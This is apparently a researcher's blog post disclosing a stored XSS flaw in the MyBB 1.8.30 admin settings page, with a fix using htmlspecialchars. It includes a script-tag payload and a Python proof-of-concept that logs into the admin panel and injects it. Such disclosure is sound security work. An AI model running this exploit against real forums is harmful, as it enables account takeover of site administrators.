A flaw exists in the Admin Control Panel (ACP) of the newest version of the popular Bulletin Board Software MyBB. This is software that I have personally used for a long time (over a decade) and it’s awesome to be able to give something back to their amazing team, no matter how impactful the end result is!

The flaw was discovered while I was testing a copy of their free software in my Home Lab. The perfect place for discovering vulnerabilities in almost any FOSS solutions, im sure most of you would agree! I was necessarily looking for this, but my curiosity got the better of me and I started reviewing the application.

By leveraging this exploit, an attacker with access to the ACP is able to store malicious HTML Code in the Database. When another administrator (victim) accesses the impacted section, the code is then executed as that victim. Impact could be anything from a Rick Roll, to something more devastating like Account Takeover.

The flaw lies in the settings.php file in admin/modules/config/, on Lines 318-320:

str_replace is present, but it fails to parse abusable symbols like <, > and “.

As you can see, the str_replace function is present. In PHP, this function is used to replace characters in a string. It is commonly used as a method of sanitizing strings from User Input. In the 1.8.30 release (The newest as of the time of writing), str_replace only manipulates a few symbols, leaving us able to exploit the parent variable. In this case, its the name variable.

name is used in the Board Settings menu as an Identifier for individual board settings. It can be used, for example, with custom Themes and Styles for your bulletin board. In our case, we can inject a malicious payload due to its lack of sanitization.

To exploit this vulnerability, input some dummy data under Home->Board Settings->Add New Setting. Select the Forum Home Options Board Setting Group and use the following Payload as an example in the Identifier variable:

<script src=1 href=1 onerror="javascript:alert(100)"></script>

Once you have filled everything out, click Insert New Setting. The payload should now be embedded in the Database.
A 302 Redirect HTTP Response should give you a clear indication that Payload implementation was successful!

Now all we do is navigate to our impacted Board Setting, and get exploited!

I dun goof’d

An issue like this can have devastating consequences on the MyBB Forum it is leveraged on. Because of this, the issue was disclosed to the MyBB Development team, who are promptly working on a fix to implement in the next release (Likely 1.8.31)! I do have permission to make this Blog post 🙂

To remediate the vulnerability, the current str_replace function can be replaced with htmlspecialchars. The htmlspecialchars function is used to convert symbols to HTML Entities. Additionally, the use of preg_replace with a whitelist array can also be effective, if specific symbols have to be passed through as user input.

I hope you are able to take something away from this post, I certainly enjoyed working on finding and reporting this vulnerability! I definitely do not consider myself a Penetration Tester by any stretch of the imagination so to find this was very satisfying. In the future i’d like to continue to improve my Web App Pentesting skills (Black + White Box) and use them for good, like in this case. If anyone has any suggestions for learning and tutorials, ill happily take the pointers going forward!

-Shandyman

PS: Here’s a Python 3 script that I created that automates the whole process of injecting the payload. Admin Creds are required as an input, as well as the URL/IP of where the MyBB Application is hosted. Hopefully that location is 127.0.0.1 🙂

import sys
import argparse
import requests
from bs4 import BeautifulSoup

def login_to_acp(username, pwd, instance):

    # Set the parameters required to Log in to the ACP.
    login_data = {
        "username":username,
        "password":pwd,
        "do":"login"
    }

    response = session.post(instance + "/admin/index.php", data=login_data)

    # A few checks, to confirm we arnt using incorrect data.
    if response.status_code == 404:
        print("[-] Cant find the Login page....did you enter it correctly?")
        sys.exit()

    if "entered is invalid" in response.text:
        print("[-] Login Failed. Credentials are incorrect.")
        sys.exit()
    else:
        print("[+] Login Successful!")

def exploit(instance):

    # Create a request to grab MyPostKey.
    postkey_response = session.get(instance + "/admin/index.php?module=config-settings&action=add")
    soup = BeautifulSoup(postkey_response.text, "lxml")
    my_post_key = soup.find_all("input", {"name":"my_post_key"})[0]['value']

    print("[+] Exploiting the ACP...")
    # Set the parameters required to exploit the ACP.
    exploit_data = {
        "my_post_key":my_post_key,
        "title":"XSS Vuln!",
        "description":"Im about to h4x your systems.",
        "gid":6,
        "disporder":"",
        "name":'<script src=1 href=1 onerror="javascript:alert(1337)"></script>',
        "type":"text",
        "extra":"",
        "value":"This is cool...."
    }

    # EXPLOIT THAT ACP
    exploit_response = session.post(instance + "/admin/index.php?module=config-settings&action=add", data=exploit_data, allow_redirects=False)

    if exploit_response.status_code == 302:
        print("[+] Exploit successful! Go check out the 'Forum Home' settings page!")
    else:
        print("[-] Exploit unsuccessful! Maybe that user doesnt have permissions to add settings!")

if __name__ == "__main__":
    # Create the Arguments required for the script to work.
    parser = argparse.ArgumentParser(description="MyBB - Persistent XSS Vulnerability")
    print("")
    parser.add_argument('-u','--username', metavar="Username", help="Username with ACP Access.", required=True)
    parser.add_argument('-p','--password', metavar="Password", help="The Password for that user.", required=True)
    parser.add_argument('-i','--instance', metavar="Instance", required=True, help="The Location of the MyBB Instance (eg; http://127.0.0.1 or http://127.0.0.1:5000/MyBB)")
    args = parser.parse_args()

    username = args.username
    pwd = args.password
    instance = args.instance

    # Initialize a Session to store login data as we navigate the ACP.
    session = requests.Session()

    print("[+] Logging in to MyBB Admin Control Panel...")
    login_to_acp(username, pwd, instance)
    exploit(instance)

No responses yet

Leave a Reply

Your email address will not be published.